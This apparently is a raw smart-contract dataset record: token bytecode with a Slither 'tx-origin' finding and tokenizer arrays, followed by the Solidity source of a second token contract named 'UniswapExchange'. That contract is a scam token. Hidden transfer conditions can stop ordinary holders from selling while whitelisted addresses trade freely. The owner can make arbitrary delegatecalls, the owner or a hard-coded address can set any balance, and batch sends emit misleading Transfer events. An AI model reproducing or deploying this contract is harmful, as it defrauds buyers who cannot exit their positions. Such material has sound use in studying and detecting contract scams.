ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610e8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8390612674565b60405180910390fd5b60005b600780549050811015611071578173ffffffffffffffffffffffffffffffffffffffff1660078281548110610ec757610ec6612694565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561105e5760076001600780549050610f229190612434565b81548110610f3357610f32612694565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660078281548110610f7257610f71612694565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506007805480611024576110236126c3565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611071565b8080611069906126f2565b915050610e8f565b5050565b61107d61169b565b73ffffffffffffffffffffffffffffffffffffffff1661109b6110fb565b73ffffffffffffffffffffffffffffffffffffffff16146110f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e89061250a565b60405180910390fd5b6110f9611d67565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054611133906122d5565b80601f016020809104026020016040519081016040528092919081815260200182805461115f906122d5565b80156111ac5780601f10611181576101008083540402835291602001916111ac565b820191906000526020600020905b81548152906001019060200180831161118f57829003601f168201915b5050505050905090565b6111be61169b565b73ffffffffffffffffffffffffffffffffffffffff166111dc6110fb565b73ffffffffffffffffffffffffffffffffffffffff1614611232576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112299061250a565b60405180910390fd5b61123c3382611e0a565b50565b6000806002600061124e61169b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561130b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611302906127ad565b60405180910390fd5b61132861131661169b565b8585846113239190612434565b6116a3565b600191505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156113c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b990612353565b60405180910390fd5b600660003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561144f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144690612353565b60405180910390fd5b61146161145a61169b565b848461186e565b6001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6114fa61169b565b73ffffffffffffffffffffffffffffffffffffffff166115186110fb565b73ffffffffffffffffffffffffffffffffffffffff161461156e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115659061250a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061283f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611713576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170a906128d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161177a90612963565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611861919061213d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d5906129f5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561194e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194590612a87565b60405180910390fd5b611959838383611f5f565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156119e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d790612b19565b60405180910390fd5b81816119ec9190612434565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a7e9190612468565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611ae2919061213d565b60405180910390a350505050565b611af8610beb565b611b37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2e90612b85565b60405180910390fd5b60008060146101000a81548160ff0219169083151502179055507f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa611b7a61169b565b604051611b87919061224b565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611c01576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bf890612c17565b60405180910390fd5b611c0d82600083611f5f565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c8b90612ca9565b60405180910390fd5b8181611ca09190612434565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508160036000828254611cf59190612434565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d5a919061213d565b60405180910390a3505050565b611d6f610beb565b15611daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da690612d15565b60405180910390fd5b6001600060146101000a81548160ff0219169083151502179055507f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611df361169b565b604051611e00919061224b565b60405180910390a1565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611e7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e7190612d81565b60405180910390fd5b611e8660008383611f5f565b8060036000828254611e989190612468565b9250508190555080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611eee9190612468565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611f53919061213d565b60405180910390a35050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611f9e578082015181840152602081019050611f83565b83811115611fad576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fcf82611f64565b611fd98185611f6f565b9350611fe9818560208601611f80565b611ff281611fb3565b840191505092915050565b600060208201905081810360008301526120178184611fc4565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061204f82612024565b9050919050565b61205f81612044565b811461206a57600080fd5b50565b60008135905061207c81612056565b92915050565b6000819050919050565b61209581612082565b81146120a057600080fd5b50565b6000813590506120b28161208c565b92915050565b600080604083850312156120cf576120ce61201f565b5b60006120dd8582860161206d565b92505060206120ee858286016120a3565b9150509250929050565b60008115159050919050565b61210d816120f8565b82525050565b60006020820190506121286000830184612104565b92915050565b61213781612082565b82525050565b6000602082019050612152600083018461212e565b92915050565b6000806000606084860312156121715761217061201f565b5b600061217f8682870161206d565b93505060206121908682870161206d565b92505060406121a1868287016120a3565b9150509250925092565b600060ff82169050919050565b6121c1816121ab565b82525050565b60006020820190506121dc60008301846121b8565b92915050565b6000602082840312156121f8576121f761201f565b5b60006122068482850161206d565b91505092915050565b6000602082840312156122255761222461201f565b5b6000612233848285016120a3565b91505092915050565b61224581612044565b82525050565b6000602082019050612260600083018461223c565b92915050565b6000806040838503121561227d5761227c61201f565b5b600061228b8582860161206d565b925050602061229c8582860161206d565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806122ed57607f821691505b60208210811415612301576123006122a6565b5b50919050565b7f596f752068617665206e6f20706f776572206865726521000000000000000000600082015250565b600061233d601783611f6f565b915061234882612307565b602082019050919050565b6000602082019050818103600083015261236c81612330565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b60006123cf602883611f6f565b91506123da82612373565b604082019050919050565b600060208201905081810360008301526123fe816123c2565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061243f82612082565b915061244a83612082565b92508282101561245d5761245c612405565b5b828203905092915050565b600061247382612082565b915061247e83612082565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124b3576124b2612405565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124f4602083611f6f565b91506124ff826124be565b602082019050919050565b60006020820190508181036000830152612523816124e7565b9050919050565b7f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f7560008201527f7465722e00000000000000000000000000000000000000000000000000000000602082015250565b6000612586602483611f6f565b91506125918261252a565b604082019050919050565b600060208201905081810360008301526125b581612579565b9050919050565b7f4163636f756e7420697320616c726561647920626c61636b6c69737465640000600082015250565b60006125f2601e83611f6f565b91506125fd826125bc565b602082019050919050565b60006020820190508181036000830152612621816125e5565b9050919050565b7f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000600082015250565b600061265e601a83611f6f565b915061266982612628565b602082019050919050565b6000602082019050818103600083015261268d81612651565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60006126fd82612082565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156127305761272f612405565b5b600182019050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612797602583611f6f565b91506127a28261273b565b604082019050919050565b600060208201905081810360008301526127c68161278a565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000612829602683611f6f565b9150612834826127cd565b604082019050919050565b600060208201905081810360008301526128588161281c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006128bb602483611f6f565b91506128c68261285f565b604082019050919050565b600060208201905081810360008301526128ea816128ae565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061294d602283611f6f565b9150612958826128f1565b604082019050919050565b6000602082019050818103600083015261297c81612940565b9050919050565b7f455243323032303a207472616e736665722066726f6d20746865207a65726f2060008201527f6164647265737300000000000000000000000000000000000000000000000000602082015250565b60006129df602783611f6f565b91506129ea82612983565b604082019050919050565b60006020820190508181036000830152612a0e816129d2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612a71602383611f6f565b9150612a7c82612a15565b604082019050919050565b60006020820190508181036000830152612aa081612a64565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b03602683611f6f565b9150612b0e82612aa7565b604082019050919050565b60006020820190508181036000830152612b3281612af6565b9050919050565b7f5061757361626c653a206e6f7420706175736564000000000000000000000000600082015250565b6000612b6f601483611f6f565b9150612b7a82612b39565b602082019050919050565b60006020820190508181036000830152612b9e81612b62565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c01602183611f6f565b9150612c0c82612ba5565b604082019050919050565b60006020820190508181036000830152612c3081612bf4565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c93602283611f6f565b9150612c9e82612c37565b604082019050919050565b60006020820190508181036000830152612cc281612c86565b9050919050565b7f5061757361626c653a2070617573656400000000000000000000000000000000600082015250565b6000612cff601083611f6f565b9150612d0a82612cc9565b602082019050919050565b60006020820190508181036000830152612d2e81612cf2565b9050919050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6000612d6b601f83611f6f565b9150612d7682612d35565b602082019050919050565b60006020820190508181036000830152612d9a81612d5e565b905091905056fea26469706673582212202dd2c2b9157435fa29d171a48e7bb3b6db9e63bf124331334166edc8cbfc3afa64736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'tx-origin', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 27814, 21486, 2063, 2549, 3207, 2581, 22394, 2509, 7875, 2094, 18139, 2581, 2050, 20958, 2683, 2629, 11329, 18827, 2546, 16086, 18139, 2487, 4215, 2487, 2063, 2629, 2546, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1008, 1008, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1014, 1012, 1022, 1012, 2184, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 8278, 1997, 1996, 9413, 2278, 11387, 3115, 2004, 4225, 1999, 1996, 1041, 11514, 1012, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,672
0x9583fa96dd42bf0f788c140f742967e8b13210a8
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); //go the white address first if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x6080604052600436106100dd5760003560e01c806370a082311161007f578063a9059cbb11610059578063a9059cbb146104ec578063aa2f522014610552578063d6d2b6ba1461062c578063dd62ed3e14610707576100dd565b806370a08231146103905780638cd8db8a146103f557806395d89b411461045c576100dd565b806318160ddd116100bb57806318160ddd1461024b57806321a9cf341461027657806323b872dd146102df578063313ce56714610365576100dd565b806306fdde03146100e2578063095ea7b314610172578063109b1ee6146101d8575b600080fd5b3480156100ee57600080fd5b506100f761078c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061082a565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b50610231600480360360408110156101fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061091c565b604051808215151515815260200191505060405180910390f35b34801561025757600080fd5b50610260610a77565b6040518082815260200191505060405180910390f35b34801561028257600080fd5b506102c56004803603602081101561029957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a7d565b604051808215151515815260200191505060405180910390f35b61034b600480360360608110156102f557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b23565b604051808215151515815260200191505060405180910390f35b34801561037157600080fd5b5061037a610e36565b6040518082815260200191505060405180910390f35b34801561039c57600080fd5b506103df600480360360208110156103b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e3b565b6040518082815260200191505060405180910390f35b34801561040157600080fd5b506104426004803603606081101561041857600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050610e53565b604051808215151515815260200191505060405180910390f35b34801561046857600080fd5b50610471610ef7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104b1578082015181840152602081019050610496565b50505050905090810190601f1680156104de5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105386004803603604081101561050257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f95565b604051808215151515815260200191505060405180910390f35b6106126004803603604081101561056857600080fd5b810190808035906020019064010000000081111561058557600080fd5b82018360208201111561059757600080fd5b803590602001918460208302840111640100000000831117156105b957600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f82011690508083019250505050505050919291929080359060200190929190505050610faa565b604051808215151515815260200191505060405180910390f35b6107056004803603604081101561064257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561067f57600080fd5b82018360208201111561069157600080fd5b803590602001918460018302840111640100000000831117156106b357600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611213565b005b34801561071357600080fd5b506107766004803603604081101561072a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611324565b6040518082815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108225780601f106107f757610100808354040283529160200191610822565b820191906000526020600020905b81548152906001019060200180831161080557829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806109b9575073ffeb8bb8436cb28ac727e3f7371981d7de7fcda973ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109c257600080fd5b6000821115610a16576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60085481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ad957600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600080821415610b365760019050610e2f565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c7d5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610bf257600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffff